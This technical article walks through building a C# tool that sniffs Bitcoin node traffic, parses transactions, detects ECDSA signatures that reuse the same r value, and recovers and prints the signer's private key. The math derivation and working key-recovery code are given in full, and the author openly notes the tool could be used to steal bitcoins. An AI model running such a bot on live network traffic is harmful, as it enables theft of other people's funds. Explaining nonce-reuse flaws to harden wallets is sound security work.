Table of Contents
Disclaimer
It is unusual to begin a technical article with a disclaimer of responsibility but I believe it is necessary because as part of this work I am going to explain not only how it is possible to create a robot to analyze the bitcoin's incoming/outgoing traffic but also, how to check a vulnerability in the transactions' signatures that could potentially result in the ability to calculate the private key used in those signatures, what means that could be used to steal bitcoins. I will also write about why I believe robots like this one can provide a useful and invaluable service to the Bitcoin ecosystem and our society.
Introduction
If you have a bitcoin node running on a server, transactions are forwarded to your node and so, it is possible to perform a variety of very interesting analysis of the TCP traffic.
In this article I am going to show how you can intercept the bitcoin transactions using a simple IP sniffer. Also, I will show you how to check if the transactions' signature are reusing the same K value, what means the private key can be calculated from those signatures.
Background
Year after year hundreds, even thousands, of bitcoins are stolen by hackers thanks to unsafe bitcoin addresses management. It seems to be a never-ending problem in the young bitcoin ecosystem.
The most common story sounds like this: a new bitcoin wallet client, or a new version of some popular bitcoin wallet client, is released for some company or some open source project team then, you give it a try and all seems to work perfectly well. Next day, you open your wallet and surprise! It is empty. All your bitcoins are gone.
Precedents
On December 1st, 2014 I was very surprised by the blockchain.info issue, where hundreds of bitcoin addresses were compromised, and all the technical discussions about security, especially about ECDSA and how to get the private key from the signatures that reuse the same R values. In fact, for a while, I thought there was a robot stealing bitcoins and that idea hit my head all the day so, I created this tool.
I thought that, given it happened a couple of times before, it couldn't happen again. I was wrong, it happened again and, be sure, it will happen many more times.
The problem
If you develop an application that handles bitcoins, how can you be sure you are doing it right? How do you know that the addresses generated by your application are secure? How can you be sure your key management is correct?
We can follow a strict code review process, run our tests or hire a cryptography expert to perform an assessment of the code. All these things are good practices and are out of the discussion. The question is: Is that enough when it comes to Bitcoin?
Empirical evidence is crushing: it is not enough. Bitcoin applications are not comparable with other kinds of applications where there exist few incentives to search security vulnerabilities, quite the opposite if a hacker finds a defect then he can become a millionaire in minutes! So, please do not underestimate the power that money has to incentivize the bad guys.
The solution (bad boys)
Bad guys can be good for the bitcoin ecosystem. What if tens, hundreds or even thousands of robots were analyzing the network in order to take your bitcoins? That sounds really bad, right? The truth is that the answer doesn't matter because it is something inevitable and we can expect more and more people analyzing the bitcoin network and traffic.
In that scenario, you could simply test your application with some satoshis and wait for them to be taken. If they are taken then you are absolutely sure your application is insecure. This is by far the cheapest way to test your application security, in fact, is up to you how much you invest on that.
In the same way that miners enforce network security verifying transactions and are rewarded for doing it, robots can reinforce the ecosystem security trying to take coins in vulnerable addresses. And as I just mention, there is an incentive for that too. Bad boys will do this. The best is use that fact in our favor.
The code
The Bitcoin protocol is quite complex and that is why we do not want to implement it from scratch and moreover, if we do it wrong, other nodes could ban our IP. We want to help the network by running a bitcoin node and just watch communications.
IP Sniffer
First, we need to intercept the bitcoin traffic in order to be able to perform any analysis. There are a couple of .NET libraries to achieve that but in this case, and just for fun, I created a small library called Open.Sniffer for catching IP traffic (it is for educational purposes only). It uses a raw socket for catching incoming packets, and after that it parses the IP headers to determinate if they are TCP or UDP and raises events for each of them.
The following image shows the IPv4 header structure that we have to parse. Depending on the Protocol field value we know what protocol is in the payload (the list of available protocols and their numbers are here http://en.wikipedia.org/wiki/List_of_IP_protocol_numbers)
Image taken from Wikipedia
public SnifferBase(IPAddress bindTo)
{
_socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
_socket.Bind(new IPEndPoint(bindTo, 0));
_socket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
var byTrue = new byte[] {0x1, 0x0, 0x0, 0x0};
var byOut = new byte[] {0x1, 0x0, 0x0, 0x0};
_socket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
}
private void OnReceive(IAsyncResult ar)
{
var received = _socket.EndReceive(ar);
var buffer = new ArraySegment(ar.AsyncState as byte[], 0, 32*1024);
var ipHeader = new IPHeader(buffer);
var packet = ParseData(ipHeader);
ProcessPacket(ipHeader.ProtocolType, packet);
var header = new byte[32 * 1024];
_socket.BeginReceive(header, 0, 32 * 1024, SocketFlags.None, OnReceive, header);
}
private object ParseData(IPHeader ipHeader)
{
switch (ipHeader.ProtocolType)
{
case ProtocolType.Tcp:
return new TcpHeader(ipHeader);
case ProtocolType.Udp:
return new UdpHeader(ipHeader);
case ProtocolType.Unknown:
return null;
}
throw new NotSupportedException();
}
Bitcoin Sniffer
Bitcoin message protocol is built over TCP protocol and at this point we have the TCP traffic so, if we are running our node on the default port (8333 port) then we are able to filter those messages that are for the bitcoin node.
When we capture a packet we have to check if it is a bitcoin transaction message or not. That is, check if it is an incoming TCP stream with destination port 8333 (or the port in which our bitcoin node is listening) and then, check if the message command type is tx. The following piece of code shows exactly how we check these things.
protected override void ProcessPacket(ProtocolType protocolType, object packet)
{
if (protocolType != ProtocolType.Tcp) return;
var tcpHeader = (TcpHeader) packet;
if (tcpHeader.DestinationPort != 8333) return;
if(tcpHeader.MessageLength == 0) return;
var btcHeader = new BtcHeader(tcpHeader);
if(! btcHeader.Command.StartsWith("tx")) return;
var tx = ParseTx(btcHeader.Payload);
ProcessTransaction(tx);
}
Transaction analysis
Calculations
Signing data using ECDSA
It's time to talk a bit about digital signatures. In bitcoin digital signatures are used to validate the ownership of coins that are part of a transaction input. Given that only the private key owner can unlock the existing bitcoins at a specific address, a transaction which needs to unlock the value in that address needs to be signed with the owner's private key.
We say that transactions' inputs are signed however we do not sign the input itself but its hash e instead. So, let's calculate a hash of the message that we want to sign.
$ e = {hash}(m) $
After that, we need to generate a random number k. It must be used only once because if we reuse it, the private key used for signing the message can be calculated. All the rest of this article is about checking signatures that reuse this k number.
$0 < k < n$
The number n is the order of the curve generator point G. Bitcoin uses an ECDSA parameters set called Secp256k1 that defines G and n:
$n= 2^{256} - 2^{32} - 2^{9} - 2^{8} - 2^{7} - 2^{6} - 2^{4} - 1$ or, $n = 2^{256} - 432420386565659656852420866394968145599$
ECDSA signatures are composed by pairs of numbers r and s. Where r is the x coordinate of a point R in calculated as follow:
$ R = \begin{pmatrix} r_x \\ r_y \end{pmatrix} = k * G $
$ r = r_x $
The random number k is hidden behind the discrete logarithm and here we can see why we say that duplicated r values mean that the same random k is being reused.
Now, given a private key x, the signature is calculated as follow:
$ s = k^{-1}(e + x r) \ \ \ \ \ (mod \ n) $
Calculating the private key from signatures using the same k "random" number
As we said in the background section, the reuse of the number k has happened a couple of times in the bitcoin history. Because the random generation algorithm was broken (it was generating the same k again and again) or, the k number was not really randomly generated or for other reasons. (remember the Sony case, k was a constant 4. Not very random indeed)
Let's see how to do that. Let's say we have two signatures s1 and s2 with an identical k.
$ s_1 = k^{-1}(e_1 + x r) \ \ \ \ \ (mod \ n) $ $ s_2 = k^{-1}(e_2 + x r) \ \ \ \ \ (mod \ n) $
What is the same that:
$ s_1 k = (e_1 + x r) \ \ \ \ \ (mod \ n) $ $ s_2 k = (e_2 + x r) \ \ \ \ \ (mod \ n) $
Remember that we want to extract the private key x and in order to do that we must to find the k value that was used so, the first step is substract the two equations as follow:
$ s_1 k - s_2 k = (e_1 + x r) - (e_2 + x r) \ \ \ \ \ (mod \ n) $ $ k (s_1 - s_2) = (e_1 - e_2) \ \ \ \ \ (mod \ n) $ $ k = (s_1-s_2)^{-1}(e_1-e_2) \ \ \ \ \ (mod \ n) $
Well, now that we have found the k value we can at last calculate the private key x. Remember that:
$ s_1 = k^{-1} (e_1 + x r) \ \ \ \ \ (mod \ n) $ $ s_2 = k^{-1} (e_2 + x r) \ \ \ \ \ (mod \ n) $
$ k = s_1^{-1}(e_1 + x r) \ \ \ \ \ (mod \ n) $ $ k = s_2^{-1}(e_2 + x r) \ \ \ \ \ (mod \ n)$
Let's extract x from these equations:
$ s_1 k = e_1 + x r \ \ \ \ \ (mod \ n) $ $ s_2 k = e_2 + x r \ \ \ \ \ (mod \ n) $ $ s_1 k - e_1 = x r \ \ \ \ \ (mod \ n) $ $ s_2 k - e_2 = x r \ \ \ \ \ (mod \ n) $ $ x = r^{-1}(s_1 k - e_1) \ \ \ \ \ (mod \ n) $ $ x = r^{-1}(s_2 k - e_2) \ \ \ \ \ (mod \ n) $
Both equations are equivalent and the first one is the one used in this article's code example. However, there is another way to find the private key x that doesn't require to calculate k first.
Remember that:
$ k = s_1^{-1}(e_1 + x r) \ \ \ \ \ (mod \ n) $ $ k = s_2^{-1}(e_2 + x r) \ \ \ \ \ (mod \ n) $
Given k is the has same value in both equations we can do:
$ s_1^{-1}(e_1 + x r) = s_2^{-1}(e_2 + x r) \ \ \ \ \ (mod \ n) $
Now multiply both sides by (s1 * s2) we get:
$ s_2 (e_1 + x r) = s_1 (e_2 + x r) \ \ \ \ \ (mod \ n) $
Distributing s2 and s1 in both sides:
$ s_2 e_1 + s_2 x r = s_1 e_2 + s_1 x r \ \ \ \ \ (mod \ n) $
Subtract s1 * e2:
$ s_2 e_1 + s_2 x r - s_1 e_2 = s_1 e_2 + s_1 x r - s_1 e_2 \ \ \ \ \ (mod \ n) $ $ s_2 e_1 + s_2 x r - s_1 e_2 = s_1 x r \ \ \ \ \ (mod \ n) $
Then, subtract s2 * x * r:
$ s_2 e_1 + s_2 x r - s_1 e_2 - s_2 x r = s_1 x r - s_2 x r \ \ \ \ \ (mod \ n) $ $ s_2 e_1 - s_1 e_2 = s_1 x r - s_2 x r \ \ \ \ \ (mod \ n) $
Let's swap the equation and extract x:
$ s_1 x r - s_2 x r = s_2 e_1 - s_1 e_2 \ \ \ \ \ (mod \ n) $ $ x r (s_1 - s_2) = s_2 e_1 - s_1 e_2 \ \ \ \ \ (mod \ n) $ $ x = r^{-1} (s_1 - s_2)^{-1} (s_2 e_1 - s_1 e_2) \ \ \ \ \ (mod \ n) $
Calculations in C#
Public keys, private keys, hashes and signatures are big numbers and even when .NET framework introduced a new class BigNumber in version 4, It was a bit difficult to perform calculations with it. For that reason the code in this article uses BouncyCastle library to deal with big numbers.
Below you can see the code that calculates the private key given the hashes, the signatures and the r value using the equation \(x = r^{-1}(s1 * k - e1) \ \ \ \ (mod \ n)\)
private static BigInteger CalculatePrivateKey(BigInteger e1, BigInteger e2, BigInteger s1, BigInteger s2, BigInteger r)
{
var n = BigInteger.Two.Pow(256).Subtract(new BigInteger("432420386565659656852420866394968145599"));
var m1m2 = e1.Subtract(e2);
var s1s2 = s1.Subtract(s2);
var s1s2_inv = s1s2.ModInverse(n);
var k = m1m2.Multiply(s1s2_inv).Mod(n);
var t = s1.Multiply(k).Subtract(e1).Mod(n);
var x = t.Multiply(r.ModInverse(n)).Mod(n);
return x;
}
Bitcoin transaction message dissection
At this point, we have seen how to intercept the bitcoin transaction messages and the math behind the private key extraction when the k value is reused. It only remains to know how to extract all the needed information from the intercepted raw transaction message.
Here we have a transaction example:
01 00 00 00 02 f6 4c 60 3e 2f 9f 4d af 70 c2 f4 25 2b 2d cd b0 7c c0 19 2b 72 38 bc 9c 3d ac ba
e5 55 ba f7 01 01 00 00 00 8a 47 30 44 02 20 d4 7c e4 c0 25 c3 5e c4 40 bc 81 d9 98 34 a6 24 87
51 61 a2 6b f5 6e f7 fd c0 f5 d5 2f 84 3a d1 02 20 44 e1 ff 2d fd 81 02 cf 7a 47 c2 1d 5c 9f d5
70 16 10 d0 49 53 c6 83 65 96 b4 fe 9d d2 f5 3e 3e 01 41 04 db d0 c6 15 32 27 9c f7 29 81 c3 58
4f c3 22 16 e0 12 76 99 63 5c 27 89 f5 49 e0 73 0c 05 9b 81 ae 13 30 16 a6 9c 21 e2 3f 18 59 a9
5f 06 d5 2b 7b f1 49 a8 f2 fe 4e 85 35 c8 a8 29 b4 49 c5 ff ff ff ff ff 29 f8 41 db 2b a0 ca fa
3a 2a 89 3c d1 d8 c3 e9 62 e8 67 8f c6 1e be 89 f4 15 a4 6b c8 d9 85 4a 01 00 00 00 8a 47 30 44
02 20 d4 7c e4 c0 25 c3 5e c4 40 bc 81 d9 98 34 a6 24 87 51 61 a2 6b f5 6e f7 fd c0 f5 d5 2f 84
3a d1 02 20 9a 5f 1c 75 e4 61 d7 ce b1 cf 3c ab 90 13 eb 2d c8 5b 6d 0d a8 c3 c6 e2 7e 3a 5a 5b
3f aa 5b ab 01 41 04 db d0 c6 15 32 27 9c f7 29 81 c3 58 4f c3 22 16 e0 12 76 99 63 5c 27 89 f5
49 e0 73 0c 05 9b 81 ae 13 30 16 a6 9c 21 e2 3f 18 59 a9 5f 06 d5 2b 7b f1 49 a8 f2 fe 4e 85 35
c8 a8 29 b4 49 c5 ff ff ff ff ff 01 a0 86 01 00 00 00 00 00 19 76 a9 14 70 79 2f b7 4a 5d f7 45
ba c0 7d f6 fe 02 0f 87 1c bb 29 3b 88 ac 00 00 00 00
In order to be able to analyze the previous transaction message, we need first to know its structure. The following images show the Bitcoin Transaction message structure that we have to parse.
The transaction structure (Tx):
The transaction input structure (TxIn):
Image taken from Bitcoin wiki
And here we have the same transaction example as we have to parse.
var rtx = new byte[] {
0x01, 0x00, 0x00, 0x00,
0x02,
0xf6, 0x4c, 0x60, 0x3e, 0x2f, 0x9f, 0x4d, 0xaf, 0x70, 0xc2, 0xf4, 0x25, 0x2b, 0x2d, 0xcd, 0xb0, 0x7c, 0xc0, 0x19, 0x2b, 0x72, 0x38, 0xbc, 0x9c, 0x3d, 0xac, 0xba, 0xe5, 0x55, 0xba, 0xf7, 0x01,
0x01, 0x00, 0x00, 0x00,
0x8a,
0x47, 0x30, 0x44,
0x02, 0x20,
0xd4, 0x7c, 0xe4, 0xc0, 0x25, 0xc3, 0x5e, 0xc4, 0x40, 0xbc, 0x81, 0xd9, 0x98, 0x34, 0xa6, 0x24, 0x87, 0x51, 0x61, 0xa2, 0x6b, 0xf5, 0x6e, 0xf7, 0xfd, 0xc0, 0xf5, 0xd5, 0x2f, 0x84, 0x3a, 0xd1,
0x02, 0x20,
0x44, 0xe1, 0xff, 0x2d, 0xfd, 0x81, 0x02, 0xcf, 0x7a, 0x47, 0xc2, 0x1d, 0x5c, 0x9f, 0xd5, 0x70, 0x16, 0x10, 0xd0, 0x49, 0x53, 0xc6, 0x83, 0x65, 0x96, 0xb4, 0xfe, 0x9d, 0xd2, 0xf5, 0x3e, 0x3e,
0x01,
0x41,
0x04, 0xdb, 0xd0, 0xc6, 0x15, 0x32, 0x27, 0x9c, 0xf7, 0x29, 0x81, 0xc3, 0x58, 0x4f, 0xc3, 0x22, 0x16, 0xe0, 0x12, 0x76, 0x99, 0x63, 0x5c, 0x27, 0x89, 0xf5, 0x49, 0xe0, 0x73, 0x0c, 0x05, 0x9b, 0x81, 0xae, 0x13, 0x30, 0x16, 0xa6, 0x9c, 0x21, 0xe2, 0x3f, 0x18, 0x59, 0xa9, 0x5f, 0x06, 0xd5, 0x2b, 0x7b, 0xf1, 0x49, 0xa8, 0xf2, 0xfe, 0x4e, 0x85, 0x35, 0xc8, 0xa8, 0x29, 0xb4, 0x49, 0xc5, 0xff,
0xff, 0xff, 0xff, 0xff,
0x29, 0xf8, 0x41, 0xdb, 0x2b, 0xa0, 0xca, 0xfa, 0x3a, 0x2a, 0x89, 0x3c, 0xd1, 0xd8, 0xc3, 0xe9, 0x62, 0xe8, 0x67, 0x8f, 0xc6, 0x1e, 0xbe, 0x89, 0xf4, 0x15, 0xa4, 0x6b, 0xc8, 0xd9, 0x85, 0x4a,
0x01, 0x00, 0x00, 0x00,
0x8a,
0x47, 0x30, 0x44,
0x02, 0x20,
0xd4, 0x7c, 0xe4, 0xc0, 0x25, 0xc3, 0x5e, 0xc4, 0x40, 0xbc, 0x81, 0xd9, 0x98, 0x34, 0xa6, 0x24, 0x87, 0x51, 0x61, 0xa2, 0x6b, 0xf5, 0x6e, 0xf7, 0xfd, 0xc0, 0xf5, 0xd5, 0x2f, 0x84, 0x3a, 0xd1,
0x02, 0x20,
0x9a, 0x5f, 0x1c, 0x75, 0xe4, 0x61, 0xd7, 0xce, 0xb1, 0xcf, 0x3c, 0xab, 0x90, 0x13, 0xeb, 0x2d, 0xc8, 0x5b, 0x6d, 0x0d, 0xa8, 0xc3, 0xc6, 0xe2, 0x7e, 0x3a, 0x5a, 0x5b, 0x3f, 0xaa, 0x5b, 0xab,
0x01,
0x41,
0x04, 0xdb, 0xd0, 0xc6, 0x15, 0x32, 0x27, 0x9c, 0xf7, 0x29, 0x81, 0xc3, 0x58, 0x4f, 0xc3, 0x22, 0x16, 0xe0, 0x12, 0x76, 0x99, 0x63, 0x5c, 0x27, 0x89, 0xf5, 0x49, 0xe0, 0x73, 0x0c, 0x05, 0x9b, 0x81, 0xae, 0x13, 0x30, 0x16, 0xa6, 0x9c, 0x21, 0xe2, 0x3f, 0x18, 0x59, 0xa9, 0x5f, 0x06, 0xd5, 0x2b, 0x7b, 0xf1, 0x49, 0xa8, 0xf2, 0xfe, 0x4e, 0x85, 0x35, 0xc8, 0xa8, 0x29, 0xb4, 0x49, 0xc5, 0xff,
0xff, 0xff, 0xff, 0xff,
0x01,
0xa0, 0x86, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x19,
0x76, 0xa9, 0x14, 0x70, 0x79, 0x2f, 0xb7, 0x4a, 0x5d, 0xf7, 0x45, 0xba, 0xc0, 0x7d, 0xf6, 0xfe, 0x02, 0x0f, 0x87, 0x1c, 0xbb, 0x29, 0x3b, 0x88, 0xac,
0x00, 0x00, 0x00, 0x00
};
As you can see, a transaction message consists of inputs collection and outputs collection and we hydrate an instance of our Tx (transaction) class.
internal class Tx
{
public int Version;
public List<input> Inputs;
public List<output> Outputs;
public int Locktime;
}
We are interested in the input's script (ScriptSig) because it contains the signatures, and those are the formed by the two values r and s needed for calculating the spender's private keys back. Here is the transaction input class with properties R and S:
internal class Input
{
public byte[] Previous;
public long ScriptLength;
public byte[] Script;
public byte[] rawR;
public byte HashType;
public byte[] PublicKey;
public int Seq;
public BigInteger m;
public byte[] rawS;
public int PreviousSeq;
public BigInteger M
{
set { m = value; }
get
{
return m ?? BigInteger.Zero;
}
}
public BigInteger S
{
get
{
return BigIntegerEx.FromByteArray(rawS);
}
}
public BigInteger R
{
get
{
return BigIntegerEx.FromByteArray(rawR);
}
}
}
#Bitcoin transaction parsing and processing
This part is of little interest given there are many libraries for parsing bitcoin transactions out there, from specific purpose libraries as BlockchainParser to very mature as NBitcoin. Anyway, the point here is on getting the R and S values, the rest is no so important for the scope of this article.
private static Tx ParseTx(ArraySegment<byte> rtx)
{
var tx = new Tx();
using (var memr = new MemoryStream(rtx.Array, rtx.Offset, rtx.Count))
{
using (var reader = new BinaryReader(memr))
{
tx.Version = reader.ReadInt32();
var ic = reader.ReadVarInt();
tx.Inputs = new List<Input>((int)ic);
for (var i = 0; i < ic; i++)
{
var input = new Input();
input.Previous = reader.ReadBytes(32);
input.PreviousSeq = reader.ReadInt32();
input.ScriptLength = reader.ReadVarInt();
input.Script = reader.ReadBytes(3);
if (!(input.Script[1] == 0x30 && (input.Script[0] == input.Script[2] + 3)))
{
throw new Exception();
}
var vv = reader.ReadByte();
input.rawR = reader.ReadStringAsByteArray();
vv = reader.ReadByte();
input.rawS = reader.ReadStringAsByteArray();
input.HashType = reader.ReadByte();
input.PublicKey = reader.ReadStringAsByteArray();
input.Seq = reader.ReadInt32();
tx.Inputs.Add(input);
}
.....
..... Code removed for brevity
.....
}
}
return tx;
}
With all the inputs parsed we check if there are at least two inputs with the same r values, what means they were generated from the same random k value (it is no random at all!).
A more effective approach could be to check each input's r value against all the signatures used in the past.
var inputs = tx.Inputs.GroupBy(x => x.R)
.Where(x => x.Count() >= 2)
.Select(y => y)
.ToList();
if (inputs.Any())
{
var i0 = inputs[0].First();
var i1 = inputs[0].Last();
var pp = CalculatePrivateKey(i0.M, i1.M, i0.S, i1.S, i0.R);
var pkwif = KeyToWIF(pp.ToString(16));
Console.WriteLine(" **************************************************************************");
Console.WriteLine(" **** pk: {0}", pkwif);
Console.WriteLine(" **************************************************************************");
}
Conclusion
ECDSA (and DSA) requires new random numbers for each signature; otherwise, the used private key can be recovered. Given that ECDSA signatures are used in bitcoin, and in other cryptocurrencies, to ensure that funds can only be spent by their owners, the reuse of a random number can result in the loss of those funds.
In the cryptocurrencies world most of the attention around CSPRNGs was focused on their use in the generation of private keys, however here we explained their importance in the signature process generation too. For these reasons, currently deterministic k generators are implemented using HMAC algorithm in many cryptocurrencies, and cryptosystems in general.
Special thanks to
History
- 10th September, 2016 - Link to Github repository
